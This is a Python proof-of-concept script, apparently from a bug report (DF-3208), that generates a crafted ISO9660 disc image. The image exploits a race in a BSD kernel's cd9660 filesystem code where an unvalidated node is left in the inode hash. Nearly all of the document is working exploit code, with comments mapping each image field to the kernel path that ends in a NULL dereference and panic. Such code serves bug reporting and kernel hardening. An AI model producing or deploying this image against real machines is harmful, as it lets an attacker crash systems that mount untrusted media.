DF-3208 / craft_df3208.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 | #!/usr/bin/env python3 # DF-3208 -- crafted ISO9660 image generator for the cd9660 ihash # publish-before-validate race. # # Bug being exercised (sys/vfs/isofs/cd9660/cd9660_vfsops.c:763 + cd9660_node.c): # cd9660_vget_internal() inserts the freshly allocated iso_node into the # global ihash (cd9660_ihashins) BEFORE validating the on-media record. # When validation fails (bread EIO at vfsops.c:789-797), the error path # vx_put()s the vnode WITHOUT removing the node from the hash. A second # thread that arrives at cd9660_ihashget() for the same (dev, ino) during # that window blocks in vget() on the VX lock, wakes up after the failed # creator released it, and cd9660_ihashget() returns the ORPHANED, # half-initialized VNON vnode as a SUCCESS -- i_mnt == NULL, i_devvp == NULL, # v_type == VNON. The first VOP on it (stat -> cd9660_getattr -> # ip->i_mnt->im_fmask, cd9660_vnops.c:158) NULL-derefs -> kernel panic. # # Image layout (2048-byte sectors, 40-sector device): # 16 PVD (root extent = 32, size = 2048; volume_space_size = 0x200000, # far larger than the device so the lbn check at vfsops.c:775 # PASSES for the bogus extent) # 17 Volume Descriptor Set Terminator # 32 root dir: "." (SP+ER+PX -> RRIP ftype), "..", "X", "Y" # 33 dir X: ".", "..", "PWN" (extent 0x1000 -- beyond the 40-sector # device, but lbn 0x1000 < volume_space_size -> bread() -> EIO) # 34 dir Y: ".", "..", "PWN" (SAME bogus extent 0x1000 -> SAME ino) # # The two directories defeat the per-parent vnode-lock serialization of # lookups (vop_compat_nresolve vget()s the parent first); the remaining # serializer is the global mp_token, which is an LWKT token and is dropped # whenever a thread blocks or is preempted (lwkt_switch) -- e.g. inside # bread()/getblk() in the race window. import struct BSZ = 2048 ROOT_EXT = 32 X_EXT = 33 Y_EXT = 34 NSEC = 40 BOGUS_EXT = 0x1000 # 4096 sectors = 8MB into an 80KB device VSS = 0x200000 # claimed volume space (4GB) so lbn check passes def b733(v): return struct.pack('<I', v & 0xffffffff) + struct.pack('>I', v & 0xffffffff) def b723(v): return struct.pack('<H', v & 0xffff) + struct.pack('>H', v & 0xffff) def susp(sig, body): assert len(sig) == 2 ln = 4 + len(body) assert ln <= 255 return sig.encode() + bytes([ln, 1]) + body def sp(skip=0): return susp('SP', bytes([0xBE, 0xEF, skip])) def er(): i = b'IEEE_P1282' return susp('ER', bytes([len(i), 0, 0, 1]) + i) def px(mode=0o040555, links=1, uid=0, gid=0): return susp('PX', b733(mode) + b733(links) + b733(uid) + b733(gid)) def cl(lba): # RRIP "CL" (child link): relocation LBA. rrip_pclink sets # *inump = lba << im_bshift -> dp->i_ino -> vget_internal(ino, relocated=1) # -> devblkatoff(vp,0) breads the child's "." at lba*2048. return susp('CL', b733(lba)) def px_file(mode=0o100444, links=1, uid=0, gid=0): return susp('PX', b733(mode) + b733(links) + b733(uid) + b733(gid)) def dirrec(name, extent, size, flags, susp_area=b''): assert 1 <= len(name) <= 8 # record length must cover 33 fixed bytes + name + SUSP area, and be # even-padded (readdir rejects reclen < 34 + name_len at vnops.c:524). ln = 33 + len(name) + len(susp_area) if ln & 1: ln += 1 base = (bytes([ln, 0]) + b733(extent) + b733(size) + bytes(7) + bytes([flags, 0, 0]) + b723(1) + bytes([len(name)]) + name) rec = base + susp_area return rec + b'\x00' * (ln - len(rec)) def build(): img = bytearray(b'\x00' * (BSZ * NSEC)) # ---- PVD at sector 16 ---- pvd = bytearray(BSZ) pvd[0] = 1 pvd[1:6] = b'CD001' pvd[6] = 1 pvd[8:40] = b'DF3208 CRAFTED IMAGE'.ljust(32) pvd[40:72] = b'DF3208'.ljust(32) pvd[80:88] = b733(VSS) # volume space size (huge, lies) pvd[120:124] = b723(1) pvd[124:128] = b723(1) pvd[128:132] = b723(BSZ) pvd[132:140] = b733(10) root = (bytes([34, 0]) + b733(ROOT_EXT) + b733(BSZ) + bytes(7) + bytes([2, 0, 0]) + b723(1) + bytes([1, 0])) assert len(root) == 34 pvd[156:190] = root pvd[881] = 1 img[16*BSZ:17*BSZ] = pvd # ---- terminator at 17 ---- term = bytearray(BSZ) term[0] = 255 term[1:6] = b'CD001' term[6] = 1 img[17*BSZ:18*BSZ] = term # ---- root directory at 32 ---- susp_dot = sp(0) + er() + px() rootdir = dirrec(b'\x00', ROOT_EXT, BSZ, 2, susp_dot) rootdir += dirrec(b'\x01', ROOT_EXT, BSZ, 2, susp_dot) rootdir += dirrec(b'X', X_EXT, BSZ, 2, px()) rootdir += dirrec(b'Y', Y_EXT, BSZ, 2, px()) img[ROOT_EXT*BSZ:(ROOT_EXT+1)*BSZ] = rootdir.ljust(BSZ, b'\x00') # ---- dir X at 33 and dir Y at 34, each with the SAME bogus "PWN" ---- for ext in (X_EXT, Y_EXT): d = dirrec(b'\x00', ext, BSZ, 2, px()) d += dirrec(b'\x01', ROOT_EXT, BSZ, 2, px()) # "PWN" is a DIRECTORY entry (flags=2 -> lookup's `ino` = # isodirino = extent 35 << 11) carrying an RRIP "CL" entry with a # beyond-device LBA -> rrip_pclink sets dp->i_ino = 0x1000 << 11 # != ino -> vget_internal(dp->i_ino, relocated=1, ep) -> # devblkatoff(vp,0) -> bmap -> bread(devvp, 0x800000) -> EIO -> # vx_put() at vfsops.c:838 with the node STILL IN THE IHASH. d += dirrec(b'PWN', 35, BSZ, 2, px() + cl(BOGUS_EXT)) img[ext*BSZ:(ext+1)*BSZ] = d.ljust(BSZ, b'\x00') return bytes(img) if __name__ == '__main__': import sys out = sys.argv[1] if len(sys.argv) > 1 else 'df3208.iso' data = build() with open(out, 'wb') as f: f.write(data) print("wrote %s (%d bytes)" % (out, len(data))) |